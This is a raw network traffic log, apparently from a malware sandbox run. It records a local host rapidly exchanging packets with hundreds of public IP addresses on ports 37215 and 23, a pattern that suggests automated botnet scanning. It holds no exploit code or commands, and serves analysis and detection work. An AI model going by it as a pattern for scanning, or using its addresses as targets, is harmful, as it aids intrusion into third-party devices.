Mar 6, 2025 21:38:03.645576954 CET	41098	37215	192.168.2.13	156.230.176.118
Mar 6, 2025 21:38:03.645585060 CET	41098	37215	192.168.2.13	156.218.218.2
Mar 6, 2025 21:38:03.645591974 CET	41098	37215	192.168.2.13	41.116.33.8
Mar 6, 2025 21:38:03.645591974 CET	41098	37215	192.168.2.13	156.69.39.11
Mar 6, 2025 21:38:03.645822048 CET	37215	41098	156.58.193.53	192.168.2.13
Mar 6, 2025 21:38:03.645833015 CET	37215	41098	197.142.135.87	192.168.2.13
Mar 6, 2025 21:38:03.645842075 CET	23	41092	173.95.225.227	192.168.2.13
Mar 6, 2025 21:38:03.645850897 CET	23	41092	165.99.240.199	192.168.2.13
Mar 6, 2025 21:38:03.645862103 CET	23	41092	2.165.78.121	192.168.2.13
Mar 6, 2025 21:38:03.645868063 CET	41098	37215	192.168.2.13	197.142.135.87
Mar 6, 2025 21:38:03.645870924 CET	41098	37215	192.168.2.13	156.58.193.53
Mar 6, 2025 21:38:03.645870924 CET	41092	23	192.168.2.13	173.95.225.227
Mar 6, 2025 21:38:03.645880938 CET	37215	41098	196.51.47.205	192.168.2.13
Mar 6, 2025 21:38:03.645891905 CET	37215	41098	196.211.167.201	192.168.2.13
Mar 6, 2025 21:38:03.645895958 CET	41092	23	192.168.2.13	165.99.240.199
Mar 6, 2025 21:38:03.645900965 CET	37215	41098	134.115.197.189	192.168.2.13
Mar 6, 2025 21:38:03.645908117 CET	37300	37215	192.168.2.13	196.6.166.25
Mar 6, 2025 21:38:03.645908117 CET	41098	37215	192.168.2.13	196.51.47.205
Mar 6, 2025 21:38:03.645912886 CET	37215	41098	134.179.140.119	192.168.2.13
Mar 6, 2025 21:38:03.645920992 CET	41098	37215	192.168.2.13	196.211.167.201
Mar 6, 2025 21:38:03.645921946 CET	23	41092	188.132.221.227	192.168.2.13
Mar 6, 2025 21:38:03.645931959 CET	23	41092	2.140.48.235	192.168.2.13
Mar 6, 2025 21:38:03.645934105 CET	41098	37215	192.168.2.13	134.115.197.189
Mar 6, 2025 21:38:03.645941019 CET	41092	23	192.168.2.13	2.165.78.121
Mar 6, 2025 21:38:03.645941973 CET	37215	41098	181.93.251.220	192.168.2.13
Mar 6, 2025 21:38:03.645944118 CET	41098	37215	192.168.2.13	134.179.140.119
Mar 6, 2025 21:38:03.645952940 CET	37215	41098	46.85.165.79	192.168.2.13
Mar 6, 2025 21:38:03.645962000 CET	41092	23	192.168.2.13	188.132.221.227
Mar 6, 2025 21:38:03.645962954 CET	37215	41098	181.31.48.214	192.168.2.13
Mar 6, 2025 21:38:03.645967960 CET	41098	37215	192.168.2.13	181.93.251.220
Mar 6, 2025 21:38:03.645970106 CET	41092	23	192.168.2.13	2.140.48.235
Mar 6, 2025 21:38:03.645975113 CET	37215	41098	41.60.243.6	192.168.2.13
Mar 6, 2025 21:38:03.645983934 CET	37215	41098	223.8.104.48	192.168.2.13
Mar 6, 2025 21:38:03.645992994 CET	41098	37215	192.168.2.13	46.85.165.79
Mar 6, 2025 21:38:03.645994902 CET	37215	41098	196.122.160.219	192.168.2.13
Mar 6, 2025 21:38:03.646008968 CET	41098	37215	192.168.2.13	41.60.243.6
Mar 6, 2025 21:38:03.646008968 CET	41098	37215	192.168.2.13	223.8.104.48
Mar 6, 2025 21:38:03.646025896 CET	41098	37215	192.168.2.13	196.122.160.219
Mar 6, 2025 21:38:03.646049023 CET	41098	37215	192.168.2.13	181.31.48.214
Mar 6, 2025 21:38:03.646302938 CET	37215	41098	134.74.105.189	192.168.2.13
Mar 6, 2025 21:38:03.646346092 CET	41098	37215	192.168.2.13	134.74.105.189
Mar 6, 2025 21:38:03.646457911 CET	23	41092	104.7.0.226	192.168.2.13
Mar 6, 2025 21:38:03.646469116 CET	23	41092	181.62.74.184	192.168.2.13
Mar 6, 2025 21:38:03.646478891 CET	23	41092	80.121.5.11	192.168.2.13
Mar 6, 2025 21:38:03.646487951 CET	37215	41098	46.198.228.25	192.168.2.13
Mar 6, 2025 21:38:03.646497965 CET	37215	41098	197.87.150.166	192.168.2.13
Mar 6, 2025 21:38:03.646502018 CET	41092	23	192.168.2.13	104.7.0.226
Mar 6, 2025 21:38:03.646501064 CET	41092	23	192.168.2.13	181.62.74.184
Mar 6, 2025 21:38:03.646507025 CET	37215	41098	196.26.166.73	192.168.2.13
Mar 6, 2025 21:38:03.646517038 CET	37215	41098	223.8.104.14	192.168.2.13
Mar 6, 2025 21:38:03.646522045 CET	41092	23	192.168.2.13	80.121.5.11
Mar 6, 2025 21:38:03.646527052 CET	41098	37215	192.168.2.13	46.198.228.25
Mar 6, 2025 21:38:03.646526098 CET	37215	41098	41.105.90.40	192.168.2.13
Mar 6, 2025 21:38:03.646527052 CET	41098	37215	192.168.2.13	197.87.150.166
Mar 6, 2025 21:38:03.646543980 CET	41098	37215	192.168.2.13	196.26.166.73
Mar 6, 2025 21:38:03.646548986 CET	37215	41098	134.57.100.35	192.168.2.13
Mar 6, 2025 21:38:03.646553993 CET	41098	37215	192.168.2.13	223.8.104.14
Mar 6, 2025 21:38:03.646559954 CET	37215	41098	41.244.17.92	192.168.2.13
Mar 6, 2025 21:38:03.646568060 CET	37215	41098	41.136.238.47	192.168.2.13
Mar 6, 2025 21:38:03.646570921 CET	41098	37215	192.168.2.13	41.105.90.40
Mar 6, 2025 21:38:03.646576881 CET	23	41092	59.128.123.130	192.168.2.13
Mar 6, 2025 21:38:03.646588087 CET	23	41092	87.166.212.235	192.168.2.13
Mar 6, 2025 21:38:03.646593094 CET	41098	37215	192.168.2.13	134.57.100.35
Mar 6, 2025 21:38:03.646598101 CET	23	41092	20.247.225.63	192.168.2.13
Mar 6, 2025 21:38:03.646600962 CET	41098	37215	192.168.2.13	41.244.17.92
Mar 6, 2025 21:38:03.646600962 CET	41098	37215	192.168.2.13	41.136.238.47
Mar 6, 2025 21:38:03.646608114 CET	37215	41098	46.102.250.92	192.168.2.13
Mar 6, 2025 21:38:03.646612883 CET	41092	23	192.168.2.13	59.128.123.130
Mar 6, 2025 21:38:03.646619081 CET	37215	41098	156.134.10.173	192.168.2.13
Mar 6, 2025 21:38:03.646620035 CET	41092	23	192.168.2.13	87.166.212.235
Mar 6, 2025 21:38:03.646625996 CET	41092	23	192.168.2.13	20.247.225.63
Mar 6, 2025 21:38:03.646630049 CET	37215	41098	196.101.166.105	192.168.2.13
Mar 6, 2025 21:38:03.646641016 CET	37215	41098	223.8.107.146	192.168.2.13
Mar 6, 2025 21:38:03.646645069 CET	41098	37215	192.168.2.13	46.102.250.92
Mar 6, 2025 21:38:03.646665096 CET	41098	37215	192.168.2.13	156.134.10.173
Mar 6, 2025 21:38:03.646668911 CET	41098	37215	192.168.2.13	196.101.166.105
Mar 6, 2025 21:38:03.646682024 CET	41098	37215	192.168.2.13	223.8.107.146
Mar 6, 2025 21:38:03.646939993 CET	37215	41098	46.221.80.217	192.168.2.13
Mar 6, 2025 21:38:03.646950006 CET	37215	41098	134.197.165.216	192.168.2.13
Mar 6, 2025 21:38:03.646960020 CET	37215	41098	223.8.160.47	192.168.2.13
Mar 6, 2025 21:38:03.646982908 CET	41098	37215	192.168.2.13	46.221.80.217
Mar 6, 2025 21:38:03.646995068 CET	41098	37215	192.168.2.13	134.197.165.216
Mar 6, 2025 21:38:03.647000074 CET	41098	37215	192.168.2.13	223.8.160.47
Mar 6, 2025 21:38:03.647062063 CET	37215	41098	223.8.115.175	192.168.2.13
Mar 6, 2025 21:38:03.647123098 CET	37215	41098	196.31.166.147	192.168.2.13
Mar 6, 2025 21:38:03.647141933 CET	41098	37215	192.168.2.13	223.8.115.175
Mar 6, 2025 21:38:03.647161007 CET	41098	37215	192.168.2.13	196.31.166.147
Mar 6, 2025 21:38:03.647253036 CET	37215	41098	196.86.174.114	192.168.2.13
Mar 6, 2025 21:38:03.647263050 CET	37215	41098	223.8.195.155	192.168.2.13
Mar 6, 2025 21:38:03.647272110 CET	37215	41098	156.158.255.108	192.168.2.13
Mar 6, 2025 21:38:03.647300005 CET	41098	37215	192.168.2.13	223.8.195.155
Mar 6, 2025 21:38:03.647300005 CET	41098	37215	192.168.2.13	156.158.255.108
Mar 6, 2025 21:38:03.647303104 CET	41098	37215	192.168.2.13	196.86.174.114
Mar 6, 2025 21:38:03.647330046 CET	37215	41098	181.149.228.109	192.168.2.13
Mar 6, 2025 21:38:03.647340059 CET	37215	41098	41.54.77.14	192.168.2.13
Mar 6, 2025 21:38:03.647346020 CET	37215	41098	196.19.73.156	192.168.2.13
Mar 6, 2025 21:38:03.647355080 CET	37215	41098	46.95.130.200	192.168.2.13
Mar 6, 2025 21:38:03.647363901 CET	37215	41098	181.251.139.93	192.168.2.13
Mar 6, 2025 21:38:03.647377014 CET	41098	37215	192.168.2.13	196.19.73.156
Mar 6, 2025 21:38:03.647377014 CET	41098	37215	192.168.2.13	41.54.77.14
Mar 6, 2025 21:38:03.647381067 CET	37215	41098	41.227.26.199	192.168.2.13
Mar 6, 2025 21:38:03.647380114 CET	41098	37215	192.168.2.13	181.149.228.109
Mar 6, 2025 21:38:03.647387981 CET	41098	37215	192.168.2.13	46.95.130.200
Mar 6, 2025 21:38:03.647391081 CET	41098	37215	192.168.2.13	181.251.139.93
Mar 6, 2025 21:38:03.647392988 CET	37215	41098	134.77.138.117	192.168.2.13
Mar 6, 2025 21:38:03.647403002 CET	37215	41098	197.227.67.23	192.168.2.13
Mar 6, 2025 21:38:03.647412062 CET	37215	41098	134.169.138.161	192.168.2.13
Mar 6, 2025 21:38:03.647420883 CET	37215	41098	41.39.215.10	192.168.2.13
Mar 6, 2025 21:38:03.647423029 CET	41098	37215	192.168.2.13	41.227.26.199
Mar 6, 2025 21:38:03.647425890 CET	41098	37215	192.168.2.13	134.77.138.117
Mar 6, 2025 21:38:03.647432089 CET	37215	41098	46.223.127.26	192.168.2.13
Mar 6, 2025 21:38:03.647434950 CET	41098	37215	192.168.2.13	197.227.67.23
Mar 6, 2025 21:38:03.647443056 CET	41098	37215	192.168.2.13	134.169.138.161
Mar 6, 2025 21:38:03.647464037 CET	41098	37215	192.168.2.13	46.223.127.26
Mar 6, 2025 21:38:03.647465944 CET	41098	37215	192.168.2.13	41.39.215.10
Mar 6, 2025 21:38:03.647511959 CET	37215	41098	197.73.65.201	192.168.2.13
Mar 6, 2025 21:38:03.647521973 CET	37215	41098	156.210.115.33	192.168.2.13
Mar 6, 2025 21:38:03.647531986 CET	37215	41098	196.66.211.186	192.168.2.13
Mar 6, 2025 21:38:03.647542000 CET	37215	41098	41.191.115.78	192.168.2.13
Mar 6, 2025 21:38:03.647551060 CET	37215	41098	41.108.250.50	192.168.2.13
Mar 6, 2025 21:38:03.647559881 CET	37215	41098	156.151.80.237	192.168.2.13
Mar 6, 2025 21:38:03.647561073 CET	41098	37215	192.168.2.13	197.73.65.201
Mar 6, 2025 21:38:03.647561073 CET	41098	37215	192.168.2.13	156.210.115.33
Mar 6, 2025 21:38:03.647561073 CET	41098	37215	192.168.2.13	196.66.211.186
Mar 6, 2025 21:38:03.647568941 CET	37215	41098	41.129.137.76	192.168.2.13
Mar 6, 2025 21:38:03.647578001 CET	37215	41098	41.96.79.229	192.168.2.13
Mar 6, 2025 21:38:03.647579908 CET	41098	37215	192.168.2.13	41.191.115.78
Mar 6, 2025 21:38:03.647581100 CET	41098	37215	192.168.2.13	41.108.250.50
Mar 6, 2025 21:38:03.647598028 CET	41098	37215	192.168.2.13	156.151.80.237
Mar 6, 2025 21:38:03.647598028 CET	41098	37215	192.168.2.13	41.129.137.76
Mar 6, 2025 21:38:03.647603035 CET	41098	37215	192.168.2.13	41.96.79.229
Mar 6, 2025 21:38:03.648200035 CET	37215	41098	196.127.152.141	192.168.2.13
Mar 6, 2025 21:38:03.648209095 CET	37215	41098	196.56.200.115	192.168.2.13
Mar 6, 2025 21:38:03.648217916 CET	37215	41098	156.181.141.115	192.168.2.13
Mar 6, 2025 21:38:03.648226976 CET	37215	41098	134.97.23.39	192.168.2.13
Mar 6, 2025 21:38:03.648231030 CET	41098	37215	192.168.2.13	196.127.152.141
Mar 6, 2025 21:38:03.648241043 CET	41098	37215	192.168.2.13	196.56.200.115
Mar 6, 2025 21:38:03.648251057 CET	41098	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:03.648252964 CET	41098	37215	192.168.2.13	156.181.141.115
Mar 6, 2025 21:38:03.648268938 CET	37215	41098	197.221.227.133	192.168.2.13
Mar 6, 2025 21:38:03.648278952 CET	37215	41098	156.13.118.195	192.168.2.13
Mar 6, 2025 21:38:03.648288012 CET	37215	41098	46.14.69.250	192.168.2.13
Mar 6, 2025 21:38:03.648297071 CET	37215	41098	156.163.195.66	192.168.2.13
Mar 6, 2025 21:38:03.648309946 CET	37215	41098	196.1.6.69	192.168.2.13
Mar 6, 2025 21:38:03.648315907 CET	41098	37215	192.168.2.13	156.13.118.195
Mar 6, 2025 21:38:03.648328066 CET	37215	41098	196.208.2.191	192.168.2.13
Mar 6, 2025 21:38:03.648329973 CET	41098	37215	192.168.2.13	156.163.195.66
Mar 6, 2025 21:38:03.648330927 CET	41098	37215	192.168.2.13	197.221.227.133
Mar 6, 2025 21:38:03.648335934 CET	41098	37215	192.168.2.13	46.14.69.250
Mar 6, 2025 21:38:03.648339033 CET	37215	41098	223.8.7.247	192.168.2.13
Mar 6, 2025 21:38:03.648350000 CET	37215	41098	223.8.154.165	192.168.2.13
Mar 6, 2025 21:38:03.648351908 CET	41098	37215	192.168.2.13	196.1.6.69
Mar 6, 2025 21:38:03.648359060 CET	37215	41098	196.120.105.146	192.168.2.13
Mar 6, 2025 21:38:03.648371935 CET	41098	37215	192.168.2.13	196.208.2.191
Mar 6, 2025 21:38:03.648372889 CET	41098	37215	192.168.2.13	223.8.7.247
Mar 6, 2025 21:38:03.648376942 CET	37215	41098	134.206.179.66	192.168.2.13
Mar 6, 2025 21:38:03.648377895 CET	41098	37215	192.168.2.13	223.8.154.165
Mar 6, 2025 21:38:03.648387909 CET	37215	41098	223.8.131.22	192.168.2.13
Mar 6, 2025 21:38:03.648397923 CET	37215	41098	197.79.139.109	192.168.2.13
Mar 6, 2025 21:38:03.648397923 CET	41098	37215	192.168.2.13	196.120.105.146
Mar 6, 2025 21:38:03.648413897 CET	41098	37215	192.168.2.13	134.206.179.66
Mar 6, 2025 21:38:03.648415089 CET	41098	37215	192.168.2.13	223.8.131.22
Mar 6, 2025 21:38:03.648436069 CET	41098	37215	192.168.2.13	197.79.139.109
Mar 6, 2025 21:38:03.648516893 CET	37215	41098	181.180.42.77	192.168.2.13
Mar 6, 2025 21:38:03.648526907 CET	23	41092	195.213.163.243	192.168.2.13
Mar 6, 2025 21:38:03.648535967 CET	23	41092	197.195.15.148	192.168.2.13
Mar 6, 2025 21:38:03.648545027 CET	37215	41098	46.119.249.123	192.168.2.13
Mar 6, 2025 21:38:03.648551941 CET	41098	37215	192.168.2.13	181.180.42.77
Mar 6, 2025 21:38:03.648555994 CET	23	41092	19.43.45.147	192.168.2.13
Mar 6, 2025 21:38:03.648566008 CET	23	41092	109.40.105.5	192.168.2.13
Mar 6, 2025 21:38:03.648566961 CET	41092	23	192.168.2.13	197.195.15.148
Mar 6, 2025 21:38:03.648576021 CET	23	41092	110.176.201.183	192.168.2.13
Mar 6, 2025 21:38:03.648577929 CET	41092	23	192.168.2.13	195.213.163.243
Mar 6, 2025 21:38:03.648586035 CET	23	41092	27.86.126.132	192.168.2.13
Mar 6, 2025 21:38:03.648595095 CET	41092	23	192.168.2.13	109.40.105.5
Mar 6, 2025 21:38:03.648598909 CET	23	41092	5.92.124.190	192.168.2.13
Mar 6, 2025 21:38:03.648610115 CET	23	41092	61.159.140.12	192.168.2.13
Mar 6, 2025 21:38:03.648612022 CET	41092	23	192.168.2.13	27.86.126.132
Mar 6, 2025 21:38:03.648619890 CET	23	41092	113.125.182.235	192.168.2.13
Mar 6, 2025 21:38:03.648629904 CET	23	41092	153.15.221.107	192.168.2.13
Mar 6, 2025 21:38:03.648639917 CET	41092	23	192.168.2.13	61.159.140.12
Mar 6, 2025 21:38:03.648649931 CET	41092	23	192.168.2.13	5.92.124.190
Mar 6, 2025 21:38:03.648653030 CET	41092	23	192.168.2.13	110.176.201.183
Mar 6, 2025 21:38:03.648658991 CET	41098	37215	192.168.2.13	46.119.249.123
Mar 6, 2025 21:38:03.648658991 CET	41092	23	192.168.2.13	19.43.45.147
Mar 6, 2025 21:38:03.648660898 CET	41092	23	192.168.2.13	113.125.182.235
Mar 6, 2025 21:38:03.648664951 CET	41092	23	192.168.2.13	153.15.221.107
Mar 6, 2025 21:38:03.648878098 CET	23	41092	109.61.178.48	192.168.2.13
Mar 6, 2025 21:38:03.648888111 CET	23	41092	184.163.62.176	192.168.2.13
Mar 6, 2025 21:38:03.648916960 CET	41092	23	192.168.2.13	184.163.62.176
Mar 6, 2025 21:38:03.648919106 CET	41092	23	192.168.2.13	109.61.178.48
Mar 6, 2025 21:38:03.649024963 CET	23	41092	139.165.98.197	192.168.2.13
Mar 6, 2025 21:38:03.649034023 CET	23	41092	187.8.211.228	192.168.2.13
Mar 6, 2025 21:38:03.649044037 CET	23	41092	91.201.142.102	192.168.2.13
Mar 6, 2025 21:38:03.649053097 CET	23	41092	114.209.42.249	192.168.2.13
Mar 6, 2025 21:38:03.649061918 CET	41092	23	192.168.2.13	187.8.211.228
Mar 6, 2025 21:38:03.649061918 CET	41092	23	192.168.2.13	139.165.98.197
Mar 6, 2025 21:38:03.649065018 CET	23	41092	77.89.87.244	192.168.2.13
Mar 6, 2025 21:38:03.649074078 CET	23	41092	20.10.83.211	192.168.2.13
Mar 6, 2025 21:38:03.649080992 CET	41092	23	192.168.2.13	114.209.42.249
Mar 6, 2025 21:38:03.649080992 CET	41092	23	192.168.2.13	91.201.142.102
Mar 6, 2025 21:38:03.649086952 CET	23	41092	9.94.94.204	192.168.2.13
Mar 6, 2025 21:38:03.649096966 CET	23	41092	4.157.189.41	192.168.2.13
Mar 6, 2025 21:38:03.649100065 CET	41092	23	192.168.2.13	77.89.87.244
Mar 6, 2025 21:38:03.649113894 CET	23	41092	65.103.1.87	192.168.2.13
Mar 6, 2025 21:38:03.649115086 CET	41092	23	192.168.2.13	20.10.83.211
Mar 6, 2025 21:38:03.649118900 CET	41092	23	192.168.2.13	9.94.94.204
Mar 6, 2025 21:38:03.649125099 CET	23	41092	4.245.0.31	192.168.2.13
Mar 6, 2025 21:38:03.649132967 CET	41092	23	192.168.2.13	4.157.189.41
Mar 6, 2025 21:38:03.649135113 CET	23	41092	42.154.5.132	192.168.2.13
Mar 6, 2025 21:38:03.649144888 CET	23	41092	38.98.135.63	192.168.2.13
Mar 6, 2025 21:38:03.649153948 CET	41092	23	192.168.2.13	65.103.1.87
Mar 6, 2025 21:38:03.649153948 CET	23	41092	152.219.184.164	192.168.2.13
Mar 6, 2025 21:38:03.649158955 CET	41092	23	192.168.2.13	4.245.0.31
Mar 6, 2025 21:38:03.649163008 CET	23	41092	99.122.66.105	192.168.2.13
Mar 6, 2025 21:38:03.649172068 CET	23	41092	189.32.52.75	192.168.2.13
Mar 6, 2025 21:38:03.649172068 CET	41092	23	192.168.2.13	42.154.5.132
Mar 6, 2025 21:38:03.649172068 CET	41092	23	192.168.2.13	38.98.135.63
Mar 6, 2025 21:38:03.649182081 CET	23	41092	77.250.190.163	192.168.2.13
Mar 6, 2025 21:38:03.649183989 CET	41092	23	192.168.2.13	152.219.184.164
Mar 6, 2025 21:38:03.649188995 CET	41092	23	192.168.2.13	99.122.66.105
Mar 6, 2025 21:38:03.649192095 CET	23	41092	186.134.40.56	192.168.2.13
Mar 6, 2025 21:38:03.649202108 CET	23	41092	201.132.170.77	192.168.2.13
Mar 6, 2025 21:38:03.649211884 CET	23	41092	193.10.181.92	192.168.2.13
Mar 6, 2025 21:38:03.649220943 CET	23	41092	87.7.7.255	192.168.2.13
Mar 6, 2025 21:38:03.649230957 CET	23	41092	149.36.203.133	192.168.2.13
Mar 6, 2025 21:38:03.649240017 CET	41092	23	192.168.2.13	201.132.170.77
Mar 6, 2025 21:38:03.649240017 CET	23	41092	164.171.50.127	192.168.2.13
Mar 6, 2025 21:38:03.649257898 CET	41092	23	192.168.2.13	193.10.181.92
Mar 6, 2025 21:38:03.649265051 CET	41092	23	192.168.2.13	164.171.50.127
Mar 6, 2025 21:38:03.649280071 CET	41092	23	192.168.2.13	189.32.52.75
Mar 6, 2025 21:38:03.649280071 CET	41092	23	192.168.2.13	77.250.190.163
Mar 6, 2025 21:38:03.649280071 CET	41092	23	192.168.2.13	186.134.40.56
Mar 6, 2025 21:38:03.649280071 CET	41092	23	192.168.2.13	87.7.7.255
Mar 6, 2025 21:38:03.649281979 CET	41092	23	192.168.2.13	149.36.203.133
Mar 6, 2025 21:38:03.649549961 CET	23	41092	124.18.92.127	192.168.2.13
Mar 6, 2025 21:38:03.649584055 CET	41092	23	192.168.2.13	124.18.92.127
Mar 6, 2025 21:38:03.649672031 CET	23	41092	8.38.176.135	192.168.2.13
Mar 6, 2025 21:38:03.649682999 CET	23	41092	201.115.110.59	192.168.2.13
Mar 6, 2025 21:38:03.649692059 CET	23	41092	97.105.66.155	192.168.2.13
Mar 6, 2025 21:38:03.649696112 CET	23	41092	80.247.105.65	192.168.2.13
Mar 6, 2025 21:38:03.649705887 CET	23	41092	210.10.152.194	192.168.2.13
Mar 6, 2025 21:38:03.649713993 CET	41092	23	192.168.2.13	8.38.176.135
Mar 6, 2025 21:38:03.649715900 CET	23	41092	98.140.173.90	192.168.2.13
Mar 6, 2025 21:38:03.649715900 CET	41092	23	192.168.2.13	80.247.105.65
Mar 6, 2025 21:38:03.649722099 CET	41092	23	192.168.2.13	201.115.110.59
Mar 6, 2025 21:38:03.649724960 CET	23	41092	212.137.91.243	192.168.2.13
Mar 6, 2025 21:38:03.649728060 CET	41092	23	192.168.2.13	97.105.66.155
Mar 6, 2025 21:38:03.649743080 CET	23	41092	153.61.185.0	192.168.2.13
Mar 6, 2025 21:38:03.649744034 CET	41092	23	192.168.2.13	210.10.152.194
Mar 6, 2025 21:38:03.649754047 CET	23	41092	24.185.204.84	192.168.2.13
Mar 6, 2025 21:38:03.649759054 CET	41092	23	192.168.2.13	98.140.173.90
Mar 6, 2025 21:38:03.649761915 CET	41092	23	192.168.2.13	212.137.91.243
Mar 6, 2025 21:38:03.649763107 CET	23	41092	141.159.184.125	192.168.2.13
Mar 6, 2025 21:38:03.649766922 CET	23	41092	126.229.43.254	192.168.2.13
Mar 6, 2025 21:38:03.649770021 CET	41092	23	192.168.2.13	153.61.185.0
Mar 6, 2025 21:38:03.649771929 CET	50672	37215	192.168.2.13	197.84.9.2
Mar 6, 2025 21:38:03.649776936 CET	37215	41098	41.145.43.204	192.168.2.13
Mar 6, 2025 21:38:03.649786949 CET	37215	41098	196.126.28.241	192.168.2.13
Mar 6, 2025 21:38:03.649796963 CET	41092	23	192.168.2.13	24.185.204.84
Mar 6, 2025 21:38:03.649805069 CET	37215	41098	134.156.15.220	192.168.2.13
Mar 6, 2025 21:38:03.649804115 CET	41098	37215	192.168.2.13	41.145.43.204
Mar 6, 2025 21:38:03.649815083 CET	37215	41098	46.191.131.232	192.168.2.13
Mar 6, 2025 21:38:03.649815083 CET	41092	23	192.168.2.13	126.229.43.254
Mar 6, 2025 21:38:03.649815083 CET	41092	23	192.168.2.13	141.159.184.125
Mar 6, 2025 21:38:03.649825096 CET	41098	37215	192.168.2.13	196.126.28.241
Mar 6, 2025 21:38:03.649825096 CET	37215	41098	181.244.19.62	192.168.2.13
Mar 6, 2025 21:38:03.649842024 CET	37215	41098	134.227.216.93	192.168.2.13
Mar 6, 2025 21:38:03.649847984 CET	41098	37215	192.168.2.13	134.156.15.220
Mar 6, 2025 21:38:03.649847984 CET	41098	37215	192.168.2.13	46.191.131.232
Mar 6, 2025 21:38:03.649852037 CET	37215	41098	223.8.202.241	192.168.2.13
Mar 6, 2025 21:38:03.649853945 CET	41098	37215	192.168.2.13	181.244.19.62
Mar 6, 2025 21:38:03.649863958 CET	37215	41098	196.1.32.27	192.168.2.13
Mar 6, 2025 21:38:03.649873018 CET	37215	41098	223.8.66.40	192.168.2.13
Mar 6, 2025 21:38:03.649879932 CET	41098	37215	192.168.2.13	134.227.216.93
Mar 6, 2025 21:38:03.649880886 CET	41098	37215	192.168.2.13	223.8.202.241
Mar 6, 2025 21:38:03.649890900 CET	37215	41098	134.48.95.40	192.168.2.13
Mar 6, 2025 21:38:03.649894953 CET	41098	37215	192.168.2.13	196.1.32.27
Mar 6, 2025 21:38:03.649902105 CET	37215	41098	196.242.18.128	192.168.2.13
Mar 6, 2025 21:38:03.649912119 CET	37215	41098	46.190.4.33	192.168.2.13
Mar 6, 2025 21:38:03.649913073 CET	41098	37215	192.168.2.13	223.8.66.40
Mar 6, 2025 21:38:03.649924040 CET	41098	37215	192.168.2.13	134.48.95.40
Mar 6, 2025 21:38:03.649928093 CET	37215	41098	46.130.94.43	192.168.2.13
Mar 6, 2025 21:38:03.649929047 CET	41098	37215	192.168.2.13	196.242.18.128
Mar 6, 2025 21:38:03.649940014 CET	41098	37215	192.168.2.13	46.190.4.33
Mar 6, 2025 21:38:03.649940014 CET	37215	41098	181.219.250.188	192.168.2.13
Mar 6, 2025 21:38:03.649967909 CET	41098	37215	192.168.2.13	46.130.94.43
Mar 6, 2025 21:38:03.649967909 CET	41098	37215	192.168.2.13	181.219.250.188
Mar 6, 2025 21:38:03.650482893 CET	37215	41098	134.29.37.175	192.168.2.13
Mar 6, 2025 21:38:03.650492907 CET	37215	41098	41.88.8.133	192.168.2.13
Mar 6, 2025 21:38:03.650501966 CET	37215	41098	181.156.170.248	192.168.2.13
Mar 6, 2025 21:38:03.650511026 CET	37215	41098	41.148.201.169	192.168.2.13
Mar 6, 2025 21:38:03.650520086 CET	37215	41098	196.133.102.177	192.168.2.13
Mar 6, 2025 21:38:03.650526047 CET	41098	37215	192.168.2.13	134.29.37.175
Mar 6, 2025 21:38:03.650527954 CET	41098	37215	192.168.2.13	41.88.8.133
Mar 6, 2025 21:38:03.650530100 CET	37215	41098	196.250.145.94	192.168.2.13
Mar 6, 2025 21:38:03.650530100 CET	41098	37215	192.168.2.13	181.156.170.248
Mar 6, 2025 21:38:03.650540113 CET	37215	41098	46.20.248.121	192.168.2.13
Mar 6, 2025 21:38:03.650543928 CET	41098	37215	192.168.2.13	41.148.201.169
Mar 6, 2025 21:38:03.650549889 CET	37215	41098	156.254.131.222	192.168.2.13
Mar 6, 2025 21:38:03.650557041 CET	41098	37215	192.168.2.13	196.133.102.177
Mar 6, 2025 21:38:03.650561094 CET	41098	37215	192.168.2.13	196.250.145.94
Mar 6, 2025 21:38:03.650568008 CET	37215	41098	196.27.175.148	192.168.2.13
Mar 6, 2025 21:38:03.650578022 CET	37215	41098	156.22.211.59	192.168.2.13
Mar 6, 2025 21:38:03.650584936 CET	41098	37215	192.168.2.13	46.20.248.121
Mar 6, 2025 21:38:03.650594950 CET	37215	41098	196.137.226.173	192.168.2.13
Mar 6, 2025 21:38:03.650595903 CET	41098	37215	192.168.2.13	196.27.175.148
Mar 6, 2025 21:38:03.650604963 CET	37215	41098	134.0.51.62	192.168.2.13
Mar 6, 2025 21:38:03.650616884 CET	37215	41098	223.8.6.154	192.168.2.13
Mar 6, 2025 21:38:03.650619984 CET	41098	37215	192.168.2.13	156.22.211.59
Mar 6, 2025 21:38:03.650625944 CET	37215	41098	223.8.213.203	192.168.2.13
Mar 6, 2025 21:38:03.650631905 CET	41098	37215	192.168.2.13	196.137.226.173
Mar 6, 2025 21:38:03.650635958 CET	37215	41098	41.103.229.203	192.168.2.13
Mar 6, 2025 21:38:03.650654078 CET	37215	41098	181.122.74.202	192.168.2.13
Mar 6, 2025 21:38:03.650657892 CET	41098	37215	192.168.2.13	156.254.131.222
Mar 6, 2025 21:38:03.650657892 CET	41098	37215	192.168.2.13	134.0.51.62
Mar 6, 2025 21:38:03.650660038 CET	41098	37215	192.168.2.13	223.8.6.154
Mar 6, 2025 21:38:03.650664091 CET	37215	41098	196.165.23.197	192.168.2.13
Mar 6, 2025 21:38:03.650665045 CET	41098	37215	192.168.2.13	223.8.213.203
Mar 6, 2025 21:38:03.650674105 CET	37215	41098	196.78.175.32	192.168.2.13
Mar 6, 2025 21:38:03.650675058 CET	41098	37215	192.168.2.13	41.103.229.203
Mar 6, 2025 21:38:03.650684118 CET	37215	41098	196.35.169.43	192.168.2.13
Mar 6, 2025 21:38:03.650690079 CET	41098	37215	192.168.2.13	181.122.74.202
Mar 6, 2025 21:38:03.650692940 CET	41098	37215	192.168.2.13	196.165.23.197
Mar 6, 2025 21:38:03.650693893 CET	37215	41098	223.8.150.159	192.168.2.13
Mar 6, 2025 21:38:03.650692940 CET	41098	37215	192.168.2.13	196.78.175.32
Mar 6, 2025 21:38:03.650705099 CET	37215	41098	197.166.211.212	192.168.2.13
Mar 6, 2025 21:38:03.650715113 CET	37215	41098	156.162.47.142	192.168.2.13
Mar 6, 2025 21:38:03.650726080 CET	41098	37215	192.168.2.13	223.8.150.159
Mar 6, 2025 21:38:03.650734901 CET	37215	41098	46.158.32.186	192.168.2.13
Mar 6, 2025 21:38:03.650737047 CET	41098	37215	192.168.2.13	197.166.211.212
Mar 6, 2025 21:38:03.650738001 CET	41098	37215	192.168.2.13	156.162.47.142
Mar 6, 2025 21:38:03.650747061 CET	37215	41098	41.241.165.93	192.168.2.13
Mar 6, 2025 21:38:03.650755882 CET	37215	41098	223.8.120.179	192.168.2.13
Mar 6, 2025 21:38:03.650764942 CET	23	41092	178.230.108.33	192.168.2.13
